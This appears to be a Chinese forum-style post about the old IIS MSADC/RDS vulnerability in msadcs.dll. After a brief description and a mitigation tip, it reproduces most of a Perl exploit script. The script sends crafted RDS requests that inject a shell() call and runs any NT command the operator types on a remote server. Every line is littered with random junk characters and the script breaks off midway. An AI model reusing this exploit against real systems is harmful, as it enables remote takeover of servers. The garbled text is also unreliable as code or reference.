IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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X0lIeGwrQ 涉及程序:
9Hu%Z/[!p Microsoft NT server
8FMP)N4+ FrVD~; 描述:
d<whb2l 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
+EFurdX\ zJ\I%7h* 详细:
Fm@GU 如果你没有时间读详细内容的话,就删除:
LR^b?.#> c:\Program Files\Common Files\System\Msadc\msadcs.dll
IuTTMAt 有关的安全问题就没有了。
T}zi P [-%oO 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
w#o<qrpHf 0
cQf_o 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
UeVF@rw 关于利用ODBC远程漏洞的描述,请参看:
6"wY;E ZHZ>YSqCS http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )JjfPb64 |.,yM| 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
%=|I;kI? http://www.microsoft.com/security/bulletins/MS99-025faq.asp XnNK)dUT} P}PSS#nn 这里不再论述。
> {:8c-\2} YRwS{e*u 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
:s4CWEd A*$vk2VWw /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
hP|5q&wX 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
?GFVV ->i -wO`o< o~~_ >V)W #将下面这段保存为txt文件,然后: "perl -x 文件名"
5?Bi+fg fpzTv3D=I #!perl
G1D(-X4ALZ #
Um|:AT}`^ # MSADC/RDS 'usage' (aka exploit) script
s2tEyR+gW #
8g$ 8]'M^T # by rain.forest.puppy
]s u\[?l #
^awl-CG # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Wl*\kQ}U # beta test and find errors!
Z8:iaP) ^RY_j>i use Socket; use Getopt::Std;
UgUW4x'+ getopts("e:vd:h:XR", \%args);
lKm?Xu'yH osnDW
aN print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
8>w/Es5 KJ-D|N,8@^ if (!defined $args{h} && !defined $args{R}) {
:>cJ[K?0 print qq~
'al-C;Z Usage: msadc.pl -h <host> { -d <delay> -X -v }
>- :U -h <host> = host you want to scan (ip or domain)
f>RPh bq| -d <seconds> = delay between calls, default 1 second
gs. K,x ma -X = dump Index Server path table, if available
Hj5b.fB -v = verbose
5Po.&eS -e = external dictionary file for step 5
ZGS=;jM t!K|3>w Or a -R will resume a command session
tV<Au ?1[go+56X ~; exit;}
Wy|=F~N DO0["O74 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
|S.-5CAh4 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"=Ziy4V if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
T\]z0M if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,CCIg9Pt $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\Oc3rJ( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
6#.R'O 9m#`56G` if (!defined $args{R}){ $ret = &has_msadc;
mxXQBmW die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
SX;FBO(p wK,tq print "Please type the NT commandline you want to run (cmd /c assumed):\n"
h5Z%|J>;0 . "cmd /c ";
Yc9 M6=E^ $in=<STDIN>; chomp $in;
te:@F]A $command="cmd /c " . $in ;
rMI:zFS GSMP)8W if (defined $args{R}) {&load; exit;}
LNr2YRpyz nc`[f y|} print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
`OBDx ^6F &try_btcustmr;
QK;A>] 6-<r@{m$ print "\nStep 2: Trying to make our own DSN...";
'&UX'Dd~Q &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Haturg yvVs9"|0 print "\nStep 3: Trying known DSNs...";
LEk
W^Mv &known_dsn;
^*Ca+22xO |vGz
1jLV print "\nStep 4: Trying known .mdbs...";
D
F0~A &known_mdb;
VNPuO U= d/|@"z^? if (defined $args{e}){
~DCw
[y print "\nStep 5: Trying dictionary of DSN names...";
hmks\eb~ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Um*{~=;u M34*$>bk print "Sorry Charley...maybe next time?\n";
/Cwt4.5 exit;
>bmL;)mc&
l_$~~z ~ ##############################################################################
R|Ykez!D T8ZsuKio] sub sendraw { # ripped and modded from whisker
]T+{]t sleep($delay); # it's a DoS on the server! At least on mine...
f^ nogw<z! my ($pstr)=@_;
|JrG?:n socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Z>o20uA die("Socket problems\n");
{N>VK* if(connect(S,pack "SnA4x8",2,80,$target)){
{X8F4 select(S); $|=1;
4F/Q0" print $pstr; my @in=<S>;
In]h+tG?rN select(STDOUT); close(S);
YsLEbue return @in;
B<+}_3. } else { die("Can't connect...\n"); }}
IUI>/87u 3dC8MKPq0 ##############################################################################
m,Os$>{Ok Z!tt(y\ sub make_header { # make the HTTP request
W4T>@b. my $msadc=<<EOT
(3 B;
V POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
'|Cs!Zl User-Agent: ACTIVEDATA
0gxbo Host: $ip
w!tQU9+* Content-Length: $clen
5q"
;R$+j Connection: Keep-Alive
17J|g.]m-& o^gqpQv ADCClientVersion:01.06
`y
m^0x8 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
skr^m%W 670g|&v. --!ADM!ROX!YOUR!WORLD!
_G[5S-0 [ Content-Type: application/x-varg
ck-wMd Content-Length: $reqlen
hO\_RhsRy? (5VP*67 EOT
O
/aC%% ; $msadc=~s/\n/\r\n/g;
spgY &OI; return $msadc;}
,HR~oT^ K+PzTGWq^ ##############################################################################
1 vi<@i, 0E{$u sub make_req { # make the RDS request
{b} ?I4) my ($switch, $p1, $p2)=@_;
+d]} my $req=""; my $t1, $t2, $query, $dsn;
Trm)7B* ?GX5Pvg if ($switch==1){ # this is the btcustmr.mdb query
Fj-mo>" $query="Select * from Customers where City=" . make_shell();
<?QY\wyikz $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
6]7iiQz"H $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
omY%sQ{) <(;"L<?D<C elsif ($switch==2){ # this is general make table query
)}vQ?n[:' $query="create table AZZ (B int, C varchar(10))";
n
omtP } $dsn="$p1";}
J?u",a]|H" <#LHL
elsif ($switch==3){ # this is general exploit table query
c.,eIiL $query="select * from AZZ where C=" . make_shell();
sl>4O]N $dsn="$p1";}
J7_'@zU A'p"FYlCW elsif ($switch==4){ # attempt to hork file info from index server
Peh(*D{ $query="select path from scope()";
hAKyT~[n0 $dsn="Provider=MSIDXS;";}
,)u}8ty3j wE;??'O'l elsif ($switch==5){ # bad query
@C7#xGD $query="select";
,NPU0IDG> $dsn="$p1";}
2r<UYB K4snpuhC $t1= make_unicode($query);
GAEz
:n $t2= make_unicode($dsn);
~1i,R1_\Y $req = "\x02\x00\x03\x00";
_~fO8_vr $req.= "\x08\x00" . pack ("S1", length($t1));
+u:8#!X$RD $req.= "\x00\x00" . $t1 ;
'l)@MXbGL $req.= "\x08\x00" . pack ("S1", length($t2));
I
Yj\t?,0 $req.= "\x00\x00" . $t2 ;
FK;\Nce& $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
!G Z2|~f9 return $req;}
_hK7hvM> o~ 2bk<]z ##############################################################################
}mk9-7 fw'$HV76 sub make_shell { # this makes the shell() statement
NhS0D=v6 return "'|shell(\"$command\")|'";}
L*Xn!d% m},nKsO ##############################################################################
v6;XxBR6 e#)}.
sub make_unicode { # quick little function to convert to unicode
dGrOw) my ($in)=@_; my $out;
L*11hyyk for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{> pB return $out;}
/<Zy-+3 ?7YX@x ##############################################################################
!634 8nU: rmk'{" sub rdo_success { # checks for RDO return success (this is kludge)
R1\cAP^0 my (@in) = @_; my $base=content_start(@in);
Y:ZI9JK? if($in[$base]=~/multipart\/mixed/){
l3)(aay! return 1 if( $in[$base+10]=~/^\x09\x00/ );}
z@{|Y;s return 0;}
I^ppEgYSY 3JWHyo ##############################################################################
L5]*ZCDv Gq$9he< sub make_dsn { # this makes a DSN for us
u'<Y#bsR#/ my @drives=("c","d","e","f");
2P"@=bYT " print "\nMaking DSN: ";
[}+0NGgR foreach $drive (@drives) {
(S=::ODU print "$drive: ";
#sq -V,8 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
w[n|Sauy, "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
3T|:1Nw . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
gjk=`lU $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
rbqH9 S return 0 if $2 eq "404"; # not found/doesn't exist
VABrw t if($2 eq "200") {
ig7)VKr foreach $line (@results) {
QSmE:Y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
*B#<5<T } return 0;}
5MO:hE5sm [="moh2*f
##############################################################################
GL.&
g{$#+ kS[k*bN0 sub verify_exists {
pzCD'
!* my ($page)=@_;
x\3tSP7Vp my @results=sendraw("GET $page HTTP/1.0\n\n");
|Gzd|$%Oq return $results[0];}
_|g(BK2} Xa Yx avq ##############################################################################
H7H'0C Gg{@]9 sub try_btcustmr {
p}}}~ lC/ my @drives=("c","d","e","f");
_+T;4U'p my @dirs=("winnt","winnt35","winnt351","win","windows");
t9zPJQlT} \# lh b foreach $dir (@dirs) {
hUxpz:U* print "$dir -> "; # fun status so you can see progress
@$F(({? foreach $drive (@drives) {
acRPKTs
H print "$drive: "; # ditto
=5+M]y
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